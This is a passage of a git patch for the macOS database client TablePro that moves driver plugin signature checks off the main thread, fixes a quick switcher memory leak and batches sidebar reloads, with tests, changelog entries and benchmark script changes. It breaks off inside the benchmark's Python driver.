From 0f74142ec30c739544d5f00680d4216099569b13 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?= Date: Mon, 26 Oct 2026 13:56:21 +0700 Subject: [PATCH 01/44] perf(sidebar): cut connect and filter stalls on large catalogs (#3842) --- apple/.swiftlint.yml | 6 ++ .../Plugins/PluginManager+AutoUpdate.swift | 2 + .../TablePro/Core/Plugins/PluginManager.swift | 45 ++++++++---- .../SidebarContainerViewController.swift | 10 +++ .../Models/UI/QuickSwitcherKeyCommand.swift | 6 +- .../QuickSwitcher/QuickSwitcherPanel.swift | 17 +++++ .../QuickSwitcherPanelView.swift | 51 ++++++-------- .../Views/Results/ColumnJumpPanelView.swift | 51 ++++++-------- ...tabaseTreeOutlineCoordinator+Tracing.swift | 3 +- .../DatabaseTreeOutlineCoordinator.swift | 7 +- .../Sidebar/DatabaseTreeOutlineView.swift | 8 +++ .../Sidebar/DatabaseTreeRenderInputs.swift | 6 +- .../Plugins/PluginLazyRegistrationTests.swift | 39 +++++++++++ .../SidebarContainerChromeTests.swift | 30 ++++++++ .../QuickSwitcherPanelControllerTests.swift | 50 +++++++++++++ .../Sidebar/DatabaseTreeReconcileTests.swift | 36 +++++++++- apple/changelog.d/3842.changed.1.md | 1 + apple/changelog.d/3842.changed.md | 1 + apple/changelog.d/3842.fixed.md | 1 + apple/scripts/benchmark-large-catalog.sh | 9 +-- .../benchmark/large-catalog/benchmark.py | 70 ++++++++++++++----- 21 files changed, 345 insertions(+), 104 deletions(-) create mode 100644 apple/changelog.d/3842.changed.1.md create mode 100644 apple/changelog.d/3842.changed.md create mode 100644 apple/changelog.d/3842.fixed.md diff --git a/apple/.swiftlint.yml b/apple/.swiftlint.yml index a8762c3dc6..c31e1bc9cd 100644 --- a/apple/.swiftlint.yml +++ b/apple/.swiftlint.yml @@ -484,6 +484,12 @@ custom_rules: regex: '^( *)(?:[\w()]+ +)*func +(?:activateLazyBundle|validateAndLoadBundle)\((?!(?:(?!^\1\}$)[\s\S])*?(?:\bassertLoadable\b|\bPluginCodeSignatureVerifier\b))' message: "Every path that loads a plugin's executable goes through the signature gate first." severity: error + plugin_gated_bundle_insert: + name: "Gated Bundle Record" + included: ['.*/TablePro/Core/Plugins/[^/]+\.swift$'] + regex: '^( *)(?:[\w()]+ +)*func +(?!loadLazyDriverExecutable\b)\w+\((?:(?!^\1\}$)[\s\S])*?\bgatedBundleURLs\.insert\b' + message: "activateLazyBundle skips the gate for a recorded URL, so only the load that ran the gate records one." + severity: error plugin_signature_flags: name: "Plugin Signature Flags" included: ['.*/PluginCodeSignatureVerifier\.swift$'] diff --git a/apple/TablePro/Core/Plugins/PluginManager+AutoUpdate.swift b/apple/TablePro/Core/Plugins/PluginManager+AutoUpdate.swift index 31ce3b0ba0..a3cb3634ab 100644 --- a/apple/TablePro/Core/Plugins/PluginManager+AutoUpdate.swift +++ b/apple/TablePro/Core/Plugins/PluginManager+AutoUpdate.swift @@ -320,9 +320,11 @@ extension PluginManager { func prepareForConnecting(to type: DatabaseType, registryClient: RegistryClient = .shared) async throws { let typeId = type.pluginTypeId + await loadLazyDriverExecutable(typeId: typeId) if driverPlugin(for: type) == nil, !hasFinishedInitialLoad { Self.logger.info("Plugin '\(typeId)' not loaded yet, waiting for background load") await waitForInitialLoad() + await loadLazyDriverExecutable(typeId: typeId) } if driverPlugin(for: type) == nil, hasOutdatedRejectedPlugin(forTypeId: typeId) { Self.logger.info("Plugin '\(typeId)' is installed but outdated, updating it before connect") diff --git a/apple/TablePro/Core/Plugins/PluginManager.swift b/apple/TablePro/Core/Plugins/PluginManager.swift index 45502305e7..a6581efe68 100644 --- a/apple/TablePro/Core/Plugins/PluginManager.swift +++ b/apple/TablePro/Core/Plugins/PluginManager.swift @@ -108,6 +108,8 @@ final class PluginManager: ObservableObject { private var lazyExportURLs: [String: URL] = [:] private var lazyImportURLs: [String: URL] = [:] private var activatedBundleIds: Set = [] + /// Bundles a connect already took through the load gate and loaded off the main actor. + private var gatedBundleURLs: Set = [] internal var registryUpdateTask: Task? internal var registryUpdateAttempts = 0 @@ -345,6 +347,7 @@ final class PluginManager: ObservableObject { /// leave the valid plugin listed but unreachable for the rest of the process. private func rebuildLazyRegistrations() { lazyDriverURLs = [:] + gatedBundleURLs = [] lazyExportURLs = [:] lazyImportURLs = [:] @@ -390,6 +393,20 @@ final class PluginManager: ObservableObject { Array(lazyImportURLs.keys) } + // The signature check and dlopen of a driver plugin hold the thread for hundreds of milliseconds the + // first time a launch reads its file, so a connect does both here and leaves only registration to main. + func loadLazyDriverExecutable(typeId: String) async { + guard driverPlugins[typeId] == nil, let url = lazyDriverURLs[typeId], !gatedBundleURLs.contains(url) else { return } + let source = plugins.first(where: { $0.url == url })?.source ?? .userInstalled + do { + _ = try await Self.validateAndLoadBundleAsync(at: url, source: source) + gatedBundleURLs.insert(url) + } catch { + // Activation runs the gate again on the main actor and records the rejection there. + Self.logger.error("Loading driver plugin '\(url.lastPathComponent)' ahead of activation failed: \(error.localizedDescription)") + } + } + func activateLazyBundle(at url: URL) { guard let bundle = Bundle(url: url) else { return } let bundleId = bundle.bundleIdentifier ?? url.lastPathComponent @@ -397,20 +414,22 @@ final class PluginManager: ObservableObject { let entry = plugins.first(where: { $0.id == bundleId }) - do { - try assertLoadable(bundle, source: entry?.source ?? .userInstalled) - } catch { - Self.logger.error("Refusing to activate lazy plugin '\(bundleId)': failed the load gate: \(error.localizedDescription)") - recordLazyActivationRejection(url: url, bundleId: bundleId, entry: entry, error: error) - return - } + if !gatedBundleURLs.contains(url) || !bundle.isLoaded { + do { + try assertLoadable(bundle, source: entry?.source ?? .userInstalled) + } catch { + Self.logger.error("Refusing to activate lazy plugin '\(bundleId)': failed the load gate: \(error.localizedDescription)") + recordLazyActivationRejection(url: url, bundleId: bundleId, entry: entry, error: error) + return + } - do { - try PluginBundleLoader.load(bundle) - } catch { - Self.logger.error("Failed to load lazy bundle '\(bundleId)' at \(url.lastPathComponent): \(error.localizedDescription)") - recordLazyActivationRejection(url: url, bundleId: bundleId, entry: entry, error: error) - return + do { + try PluginBundleLoader.load(bundle) + } catch { + Self.logger.error("Failed to load lazy bundle '\(bundleId)' at \(url.lastPathComponent): \(error.localizedDescription)") + recordLazyActivationRejection(url: url, bundleId: bundleId, entry: entry, error: error) + return + } } guard let principalClass = bundle.principalClass as? any TableProPlugin.Type else { diff --git a/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift b/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift index 59965896d2..805183ecb7 100644 --- a/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift +++ b/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift @@ -22,6 +22,9 @@ internal final class SidebarContainerViewController: NSViewController { /// connection, so that is the part the window swaps. private let listHost = WorkspacePaneHost() private var sidebarState: SharedSidebarState? + /// The list the field's focus was last written for. A flip of this one connection's list moves the + /// focus with it; a rebind to another connection does not (`updateSidebarState`). + private var focusScope: SidebarTab? private var observationTask: Task? private var filterPopover: NSPopover? /// Exactly one of these is active. A hidden view keeps its constraints, so hiding the two rows @@ -258,6 +261,7 @@ internal final class SidebarContainerViewController: NSViewController { /// scope follows for the same reason, or it would name the previous connection's list. viewOptionsButton.isHidden = state.selectedSidebarTab != .tables scopeControl.selectedTab = state.selectedSidebarTab + focusScope = state.selectedSidebarTab observationTask = Task { @MainActor [weak self] in guard let self else { return } while !Task.isCancelled { @@ -309,6 +313,12 @@ internal final class SidebarContainerViewController: NSViewController { } searchField.placeholderString = placeholder searchField.setAccessibilityLabel(placeholder) + + // The field keeps editing through a flip of the list, so the focus follows the list it now filters. + if state.selectedSidebarTab != focusScope { + focusScope = state.selectedSidebarTab + writeFilterFocus(state.selectedSidebarTab == .tables && searchField.currentEditor() != nil) + } } /// Only a change reaches the window. `NSSegmentedControl` sends its action for a click on the diff --git a/apple/TablePro/Models/UI/QuickSwitcherKeyCommand.swift b/apple/TablePro/Models/UI/QuickSwitcherKeyCommand.swift index 5038905c55..891fe70385 100644 --- a/apple/TablePro/Models/UI/QuickSwitcherKeyCommand.swift +++ b/apple/TablePro/Models/UI/QuickSwitcherKeyCommand.swift @@ -8,9 +8,9 @@ import AppKit /// What a key press means inside the quick switcher panel, resolved without touching AppKit state. /// /// The panel's key handling is split across two owners: the field editor answers the commands -/// `NSTextField` sends it (arrows, Return, Escape), and everything the field editor never receives -/// arrives through a local event monitor. Command-Return is in the second group, because AppKit's -/// field editor has no command for it. Keeping the mapping here means both owners resolve a press +/// `NSTextField` sends it (arrows, Return, Escape), and the panel asks first about everything the +/// field editor never receives. Command-Return is in the second group, because AppKit's field +/// editor has no command for it. Keeping the mapping here means both owners resolve a press /// the same way and the mapping can be tested without a window. internal enum QuickSwitcherKeyCommand: Equatable { case moveSelection(by: Int) diff --git a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanel.swift b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanel.swift index a851917b92..c9fff03a8d 100644 --- a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanel.swift +++ b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanel.swift @@ -20,6 +20,11 @@ internal enum QuickSwitcherPanelFocus: Equatable { internal final class QuickSwitcherPanel: NSPanel { private let focus: QuickSwitcherPanelFocus + /// The content's keyboard commands, asked before the search field sees a press. The panel holds + /// them so they go with it: a local event monitor the content installed was never removed, and + /// it kept every closed panel's view model and result list alive. + internal var keyCommandHandler: ((NSEvent) -> Bool)? + init( hostingController: NSHostingController, surfaceCornerRadius: CGFloat, @@ -76,6 +81,17 @@ internal final class QuickSwitcherPanel: NSPanel { layer.masksToBounds = true } + // Command and Control presses reach the window as key equivalents before the menu bar sees them. + override func performKeyEquivalent(with event: NSEvent) -> Bool { + if keyCommandHandler?(event) == true { return true } + return super.performKeyEquivalent(with: event) + } + + override func sendEvent(_ event: NSEvent) { + if event.type == .keyDown, keyCommandHandler?(event) == true { return } + super.sendEvent(event) + } + override var canBecomeKey: Bool { focus == .key } override var canBecomeMain: Bool { false } @@ -165,6 +181,7 @@ internal final class QuickSwitcherPanelController: NSObject, NSWindowDelegate { } func windowWillClose(_ notification: Notification) { + panel?.keyCommandHandler = nil panel?.contentViewController = nil panel = nil anchor = nil diff --git a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift index 3310f0a7d9..4cfc871dd8 100644 --- a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift +++ b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift @@ -67,8 +67,6 @@ struct QuickSwitcherPanelContent: View { @ObservedObject var viewModel: QuickSwitcherViewModel let onCommit: (QuickSwitcherItem, QuickSwitcherCommitIntent) -> Void - @State private var keyMonitor: Any? - var body: some View { QuickSwitcherGlassGroup { VStack(spacing: 0) { @@ -90,8 +88,11 @@ struct QuickSwitcherPanelContent: View { .frame(width: QuickSwitcherMetrics.width) .quickSwitcherSurface(cornerRadius: QuickSwitcherMetrics.cornerRadius) } - .onAppear { installKeyMonitor() } - .onDisappear { removeKeyMonitor() } + .background { + WindowAccessor { window in + (window as? QuickSwitcherPanel)?.keyCommandHandler = handleKeyCommand + } + } } // MARK: - State @@ -430,34 +431,22 @@ struct QuickSwitcherPanelContent: View { // MARK: - Keyboard - private func installKeyMonitor() { - guard keyMonitor == nil else { return } - keyMonitor = NSEvent.addLocalMonitorForEvents(matching: .keyDown) { event in - guard event.window is QuickSwitcherPanel else { return event } - let command = QuickSwitcherKeyCommand.resolve( - characters: event.charactersIgnoringModifiers ?? "", - modifiers: event.modifierFlags, - scopeCount: QuickSwitcherScope.allCases.count - ) - guard let command else { return event } - - switch command { - case let .moveSelection(offset): - viewModel.moveSelection(by: offset) - case let .selectScope(index): - viewModel.scope = QuickSwitcherScope.allCases[index] - case let .commit(intent): - commitSelection(intent: intent) - } - return nil - } - } - - private func removeKeyMonitor() { - if let keyMonitor { - NSEvent.removeMonitor(keyMonitor) + private func handleKeyCommand(_ event: NSEvent) -> Bool { + guard let command = QuickSwitcherKeyCommand.resolve( + characters: event.charactersIgnoringModifiers ?? "", + modifiers: event.modifierFlags, + scopeCount: QuickSwitcherScope.allCases.count + ) else { return false } + + switch command { + case let .moveSelection(offset): + viewModel.moveSelection(by: offset) + case let .selectScope(index): + viewModel.scope = QuickSwitcherScope.allCases[index] + case let .commit(intent): + commitSelection(intent: intent) } - keyMonitor = nil + return true } private func copyToPasteboard(_ value: String) { diff --git a/apple/TablePro/Views/Results/ColumnJumpPanelView.swift b/apple/TablePro/Views/Results/ColumnJumpPanelView.swift index 5692a7ea79..90dd8bc4df 100644 --- a/apple/TablePro/Views/Results/ColumnJumpPanelView.swift +++ b/apple/TablePro/Views/Results/ColumnJumpPanelView.swift @@ -40,8 +40,6 @@ struct ColumnJumpPanelContent: View { @ObservedObject var viewModel: ColumnJumpViewModel let onCommit: (GridColumnEntry) -> Void - @State private var keyMonitor: Any? - var body: some View { QuickSwitcherGlassGroup { VStack(spacing: 0) { @@ -58,8 +56,11 @@ struct ColumnJumpPanelContent: View { .frame(width: QuickSwitcherMetrics.width) .quickSwitcherSurface(cornerRadius: QuickSwitcherMetrics.cornerRadius) } - .onAppear { installKeyMonitor() } - .onDisappear { removeKeyMonitor() } + .background { + WindowAccessor { window in + (window as? QuickSwitcherPanel)?.keyCommandHandler = handleKeyCommand + } + } } // MARK: - State @@ -263,34 +264,22 @@ struct ColumnJumpPanelContent: View { // MARK: - Keyboard - private func installKeyMonitor() { - guard keyMonitor == nil else { return } - keyMonitor = NSEvent.addLocalMonitorForEvents(matching: .keyDown) { event in - guard event.window is QuickSwitcherPanel else { return event } - let command = QuickSwitcherKeyCommand.resolve( - characters: event.charactersIgnoringModifiers ?? "", - modifiers: event.modifierFlags, - scopeCount: 0 - ) - guard let command else { return event } - - switch command { - case let .moveSelection(offset): - viewModel.moveSelection(by: offset) - case .selectScope: - return event - case .commit: - commitSelection() - } - return nil - } - } - - private func removeKeyMonitor() { - if let keyMonitor { - NSEvent.removeMonitor(keyMonitor) + private func handleKeyCommand(_ event: NSEvent) -> Bool { + guard let command = QuickSwitcherKeyCommand.resolve( + characters: event.charactersIgnoringModifiers ?? "", + modifiers: event.modifierFlags, + scopeCount: 0 + ) else { return false } + + switch command { + case let .moveSelection(offset): + viewModel.moveSelection(by: offset) + case .selectScope: + return false + case .commit: + commitSelection() } - keyMonitor = nil + return true } private func commitSelection() { diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Tracing.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Tracing.swift index d5c004a7e7..ae90eea9de 100644 --- a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Tracing.swift +++ b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Tracing.swift @@ -23,7 +23,7 @@ extension DatabaseTreeOutlineCoordinator { internal func endSettledInteractionTraces() { let tracer = InteractionTracer.shared - guard tracer.isRecording, let outlineView else { return } + guard tracer.isRecording, let outlineView, let window = outlineView.window else { return } let key = traceKey let awaitsListing = tracer.subject(of: .sidebarListing, key: key) != nil let filter = tracer.subject(of: .sidebarFilter, key: key) @@ -31,7 +31,6 @@ extension DatabaseTreeOutlineCoordinator { guard awaitsListing || filter != nil || expanding != nil, let rows = settledRowCount(in: outlineView) else { return } - let window = outlineView.window if awaitsListing, rows > 0, isCatalogSettled { tracer.end(.sidebarListing, key: key, detail: "rows=\(rows)", after: window) } diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator.swift index 79d50b3a91..593654982c 100644 --- a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator.swift +++ b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator.swift @@ -299,7 +299,8 @@ final class DatabaseTreeOutlineCoordinator: NSObject, NSTextFieldDelegate { treeMetadata: service, schemaService: schemaService, temporaryTables: temporaryTables, - sidebarState: sidebarState + sidebarState: sidebarState, + rootShape: rootShape ) } @@ -319,8 +320,12 @@ final class DatabaseTreeOutlineCoordinator: NSObject, NSTextFieldDelegate { flatFolderPlan = nil containerFolderPlans.removeAll() invalidateRowConfiguration() + // One update for the reload and every disclosure: each expandItem on its own walks the rows and + // builds the visible row views again, and a search opens two rows per matching schema. + outlineView.beginUpdates() outlineView.reloadData() applyDesiredExpansion() + outlineView.endUpdates() syncSelectionToModel() isReloading = false beginObserving() diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineView.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineView.swift index 430e7dfa34..178b7a3d1c 100644 --- a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineView.swift +++ b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineView.swift @@ -93,6 +93,14 @@ final class DatabaseTreeNSOutlineView: SidebarOutlineView { weak var selectionClearing: (any DatabaseTreeSelectionClearing)? weak var primaryActionTarget: DatabaseTreeOutlineCoordinator? + // The first reload runs inside makeNSView, before SwiftUI puts the outline in a window, so a trace + // that reload settled can only end on a frame from here. + override func viewDidMoveToWindow() { + super.viewDidMoveToWindow() + guard window != nil else { return } + primaryActionTarget?.endSettledInteractionTraces() + } + override func cancelOperation(_ sender: Any?) { super.cancelOperation(sender) selectionClearing?.clearSelection() diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeRenderInputs.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeRenderInputs.swift index 6b60b3c07d..c3560b069a 100644 --- a/apple/TablePro/Views/Sidebar/DatabaseTreeRenderInputs.swift +++ b/apple/TablePro/Views/Sidebar/DatabaseTreeRenderInputs.swift @@ -96,7 +96,8 @@ struct DatabaseTreeRenderInputs: Equatable { treeMetadata: DatabaseTreeMetadataService, schemaService: SchemaService, temporaryTables: TemporaryTableStore, - sidebarState: SharedSidebarState? + sidebarState: SharedSidebarState?, + rootShape: SidebarRootShape ) { let ownsObjects = { (key: ObjectsKey) in key.connectionId == connectionId } let tables = Self.slice(treeMetadata.tablesState, where: ownsObjects) { Rows($0) } @@ -120,7 +121,8 @@ struct DatabaseTreeRenderInputs: Equatable { // A first read adds its key as it starts, which must not count as a change either. if !listing.isUnread { listings[key] = listing } } - self.databases = Rows(treeMetadata.databaseListState(for: connectionId)) + // Only the database tree draws the server's database list; the other shapes reloaded every row as it loaded. + self.databases = Rows(rootShape == .databaseTree ? treeMetadata.databaseListState(for: connectionId) : .idle) self.schemaLists = Self.slice(treeMetadata.schemaList, where: { $0.connectionId == connectionId }) { Rows($0) } self.tables = tables self.routines = routines diff --git a/apple/TableProTests/Core/Plugins/PluginLazyRegistrationTests.swift b/apple/TableProTests/Core/Plugins/PluginLazyRegistrationTests.swift index a792ba10c4..87ca2ae6e6 100644 --- a/apple/TableProTests/Core/Plugins/PluginLazyRegistrationTests.swift +++ b/apple/TableProTests/Core/Plugins/PluginLazyRegistrationTests.swift @@ -85,6 +85,45 @@ struct PluginLazyRegistrationTests { #expect(manager.rejectedPlugins.map { $0.bundleId } == ["com.TablePro.OracleDriver"]) } + @Test("A connect loads a lazy driver's executable ahead of activation, and activation then registers it") + func connectLoadsTheDriverBeforeActivating() async throws { + let plugIns = try #require(Bundle.main.builtInPlugInsURL) + let root = FileManager.default.temporaryDirectory + .appendingPathComponent("PluginLazyRegistrationTests-\(UUID().uuidString)", isDirectory: true) + defer { try? FileManager.default.removeItem(at: root) } + let manager = PluginManager(builtInPluginsURL: plugIns, userPluginsDir: root) + manager.loadPlugins() + await manager.waitForInitialLoad() + let typeId = DatabaseType.postgresql.pluginTypeId + let url = try #require(manager.lazyDriverURLs[typeId]) + + await manager.loadLazyDriverExecutable(typeId: typeId) + + #expect(try #require(Bundle(url: url)).isLoaded) + #expect(manager.driverPlugins[typeId] == nil) + #expect(manager.driverPlugin(for: .postgresql) != nil) + #expect(manager.rejectedPlugins.isEmpty) + } + + @Test("A driver that fails the gate ahead of activation is still recorded as rejected when activated") + func failedEarlyLoadIsRecordedOnActivation() async throws { + let fixture = try makeFixture() + defer { try? FileManager.default.removeItem(at: fixture.root) } + try makeOracleDriver( + in: fixture.pluginsDir, + provides: ["TableProProvidesDatabaseTypeIds": [DatabaseType.oracle.rawValue]] + ) + let manager = fixture.manager + manager.loadPlugins() + await manager.waitForInitialLoad() + + await manager.loadLazyDriverExecutable(typeId: DatabaseType.oracle.rawValue) + #expect(manager.rejectedPlugins.isEmpty) + + #expect(manager.driverPlugin(for: .oracle) == nil) + #expect(manager.rejectedPlugins.map { $0.bundleId } == ["com.TablePro.OracleDriver"]) + } + @Test("Every bundled plugin's Info.plist declares the ids its class provides, primary id first") func bundledPluginsDeclareWhatTheyProvide() throws { let plugIns = try #require(Bundle.main.builtInPlugInsURL) diff --git a/apple/TableProTests/Core/Services/Infrastructure/SidebarContainerChromeTests.swift b/apple/TableProTests/Core/Services/Infrastructure/SidebarContainerChromeTests.swift index 8d75973035..d40a14f800 100644 --- a/apple/TableProTests/Core/Services/Infrastructure/SidebarContainerChromeTests.swift +++ b/apple/TableProTests/Core/Services/Infrastructure/SidebarContainerChromeTests.swift @@ -1,5 +1,6 @@ import AppKit @testable import TablePro +import TableProTestSupport import Testing /// The filter field belongs to the window, not to the connection under it. It used to be hidden @@ -100,6 +101,35 @@ struct SidebarContainerChromeTests { #expect(!state.isFilterFieldFocused) } + @Test("Flipping to Tables while the field edits marks the search, so the first keystroke does not start the listing") + func flipToTablesMarksTheEditingField() async throws { + let state = SharedSidebarState() + state.selectedSidebarTab = .favorites + let host = FilterHost(state: state) + defer { host.tearDown() } + host.controller.focusSearchField() + #expect(!state.isFilterFieldFocused) + + state.selectedSidebarTab = .tables + + try await waitUntil { state.isFilterFieldFocused } + #expect(host.isFilterEditing) + } + + @Test("Flipping to Favorites while the field edits clears the mark Tables set") + func flipToFavoritesClearsTheMark() async throws { + let state = SharedSidebarState() + let host = FilterHost(state: state) + defer { host.tearDown() } + host.controller.focusSearchField() + #expect(state.isFilterFieldFocused) + + state.selectedSidebarTab = .favorites + + try await waitUntil { !state.isFilterFieldFocused } + #expect(host.isFilterEditing) + } + @Test("The focus stays through a rebind to the same connection and leaves with the field for another") func focusLeavesWithTheField() { let first = SharedSidebarState() diff --git a/apple/TableProTests/Views/QuickSwitcherPanelControllerTests.swift b/apple/TableProTests/Views/QuickSwitcherPanelControllerTests.swift index eb3f93da22..399065e871 100644 --- a/apple/TableProTests/Views/QuickSwitcherPanelControllerTests.swift +++ b/apple/TableProTests/Views/QuickSwitcherPanelControllerTests.swift @@ -6,6 +6,7 @@ import AppKit import SwiftUI @testable import TablePro +import TableProTestSupport import Testing @MainActor @@ -164,4 +165,53 @@ struct QuickSwitcherPanelControllerTests { } panel.close() } + @Test("Closing Open Quickly releases its view model and the result list it holds") + func closingReleasesTheViewModel() async throws { + let controller = QuickSwitcherPanelController() + weak var released: QuickSwitcherViewModel? + do { + let viewModel = QuickSwitcherViewModel(connectionId: UUID()) + released = viewModel + controller.present(QuickSwitcherPanelContent(viewModel: viewModel) { _, _ in }, over: nil) + let panel = try #require(controller.presentedWindow as? QuickSwitcherPanel) + try await waitUntil { panel.keyCommandHandler != nil } + } + + controller.dismiss() + + try await waitUntil { released == nil } + } + + @Test("The panel answers its own commands ahead of the search field and passes the rest on") + func panelAnswersItsCommands() async throws { + let controller = QuickSwitcherPanelController() + defer { controller.dismiss() } + let viewModel = QuickSwitcherViewModel(connectionId: UUID()) + controller.present(QuickSwitcherPanelContent(viewModel: viewModel) { _, _ in }, over: nil) + let panel = try #require(controller.presentedWindow as? QuickSwitcherPanel) + try await waitUntil { panel.keyCommandHandler != nil } + let handler = try #require(panel.keyCommandHandler) + + #expect(handler(try Self.key("n", modifiers: .control, window: panel))) + #expect(!handler(try Self.key("a", modifiers: [], window: panel))) + + let scope = QuickSwitcherScope.allCases[1] + #expect(panel.performKeyEquivalent(with: try Self.key("2", modifiers: .command, window: panel))) + #expect(viewModel.scope == scope) + } + + private static func key(_ characters: String, modifiers: NSEvent.ModifierFlags, window: NSWindow) throws -> NSEvent { + try #require(NSEvent.keyEvent( + with: .keyDown, + location: .zero, + modifierFlags: modifiers, + timestamp: 0, + windowNumber: window.windowNumber, + context: nil, + characters: characters, + charactersIgnoringModifiers: characters, + isARepeat: false, + keyCode: 0 + )) + } } diff --git a/apple/TableProTests/Views/Sidebar/DatabaseTreeReconcileTests.swift b/apple/TableProTests/Views/Sidebar/DatabaseTreeReconcileTests.swift index 29debac151..7711d8e089 100644 --- a/apple/TableProTests/Views/Sidebar/DatabaseTreeReconcileTests.swift +++ b/apple/TableProTests/Views/Sidebar/DatabaseTreeReconcileTests.swift @@ -178,7 +178,8 @@ struct DatabaseTreeReconcileTests { treeMetadata: service, schemaService: .shared, temporaryTables: .shared, - sidebarState: nil + sidebarState: nil, + rootShape: .flat ) } let unread = inputs() @@ -199,6 +200,39 @@ struct DatabaseTreeReconcileTests { DatabaseManager.shared.removeSession(for: connection.id) } + @Test("The server's database list loading changes only the database tree's inputs") + func databaseListLoadChangesOnlyTheTree() async throws { + let connection = TestFixtures.makeConnection(database: "shop", type: .pglite) + let driver = MockDatabaseDriver(connection: connection) + driver.databasesToReturn = ["shop", "blog"] + var session = ConnectionSession(connection: connection, driver: driver) + session.status = .connected + DatabaseManager.shared.injectSession(session, for: connection.id) + let service = DatabaseTreeMetadataService.shared + func inputs(_ shape: SidebarRootShape) -> DatabaseTreeRenderInputs { + DatabaseTreeRenderInputs( + connectionId: connection.id, + treeMetadata: service, + schemaService: .shared, + temporaryTables: .shared, + sidebarState: nil, + rootShape: shape + ) + } + let flat = inputs(.flat) + let hierarchical = inputs(.hierarchicalSchema) + let tree = inputs(.databaseTree) + + await service.loadDatabases(connectionId: connection.id, databaseType: connection.type) + + #expect(service.databases(for: connection.id).count == 2) + #expect(inputs(.flat) == flat) + #expect(inputs(.hierarchicalSchema) == hierarchical) + #expect(inputs(.databaseTree) != tree) + await service.handleDisconnect(connectionId: connection.id) + DatabaseManager.shared.removeSession(for: connection.id) + } + @Test("A listing reads alike idle and loading, and apart once it loads or fails") func listingOutcomes() { typealias Listing = DatabaseTreeRenderInputs.Listing diff --git a/apple/changelog.d/3842.changed.1.md b/apple/changelog.d/3842.changed.1.md new file mode 100644 index 0000000000..4b91d9386b --- /dev/null +++ b/apple/changelog.d/3842.changed.1.md @@ -0,0 +1 @@ +Filtering the sidebar on a database with many schemas or tables responds faster. diff --git a/apple/changelog.d/3842.changed.md b/apple/changelog.d/3842.changed.md new file mode 100644 index 0000000000..d2c109b08f --- /dev/null +++ b/apple/changelog.d/3842.changed.md @@ -0,0 +1 @@ +Connecting with a downloaded driver such as Oracle no longer freezes the window while the driver loads. diff --git a/apple/changelog.d/3842.fixed.md b/apple/changelog.d/3842.fixed.md new file mode 100644 index 0000000000..f7a0038c74 --- /dev/null +++ b/apple/changelog.d/3842.fixed.md @@ -0,0 +1 @@ +Open Quickly and Jump to Column kept their results in memory after they closed. diff --git a/apple/scripts/benchmark-large-catalog.sh b/apple/scripts/benchmark-large-catalog.sh index e8a438ebd4..ea6442217d 100755 --- a/apple/scripts/benchmark-large-catalog.sh +++ b/apple/scripts/benchmark-large-catalog.sh @@ -6,10 +6,11 @@ # (TABLEPRO_INTERACTION_TRACE=1): sidebar-listing (connect to the full listing), sidebar-filter (one # keystroke), sidebar-expand (a schema never read; MySQL: the database), quick-open-panel, # quick-open-result (a table in every schema), complete-from and complete-schema (MySQL: the database), -# plus resident memory. +# plus the memory footprint. # # Fixtures come from scripts/probes/build-large-catalog-fixtures.sh. The release build has no Oracle -# driver, so Oracle needs --oracle-plugin with an OracleDriver.tableplugin signed by the TablePro team. +# driver, so Oracle needs --oracle-plugin with an OracleDriver.tableplugin built from this tree and signed +# by the TablePro team; one built before the tree's last Oracle change is refused. # Builds Release unless --app names a build, and drives a signed copy through System Events in a # TABLEPRO_UI_TEST_SANDBOX, so the terminal needs Accessibility and Automation permission. # @@ -18,8 +19,8 @@ # [--parts listing,session,expand] [--runs 10] [--mysql user@host:port] [--postgres user@host:port] # [--oracle host:port] [--oracle-container ] [--oracle-plugin ] [--record] [--keep] # -# Exit: 0 within budget, 1 over budget on the baseline's Mac and configuration, 2 the run stopped -# or a step has no baseline. +# Exit: 0 within budget, 1 a stall over 100 ms or over budget on the baseline's Mac and configuration, +# 2 the run stopped or a step has no baseline. set -euo pipefail diff --git a/apple/scripts/benchmark/large-catalog/benchmark.py b/apple/scripts/benchmark/large-catalog/benchmark.py index e404db73dd..bbe8c97140 100644 --- a/apple/scripts/benchmark/large-catalog/benchmark.py +++ b/apple/scripts/benchmark/large-catalog/benchmark.py @@ -2,6 +2,7 @@ # Driver for scripts/benchmark-large-catalog.sh, which builds and signs the app first. import argparse +import ctypes import datetime import importlib.util import json @@ -21,6 +22,14 @@ _spec.loader.exec_module(app_paths) BASELINE = HERE / "baseline.json" + +LIBPROC = ctypes.CDLL("/usr/lib/libSystem.B.dylib") + + +class RusageInfo(ctypes.Structure): + _fields_ = [("uuid", ctypes.c_uint8 * 16)] + [(name, ctypes.c_uint64) for name in ( + "user_time", "system_time", "pkg_idle_wkups", "interrupt_wkups", "pageins", "wired_size", + "resident_size", "phys_footprint", "proc_start_abstime", "proc_exit_abstime")] DATABASE = "tablepro_large_catalog" # build-large-catalog-fixtures.sh creates the Oracle tenant LC_S001 with this password, whatever 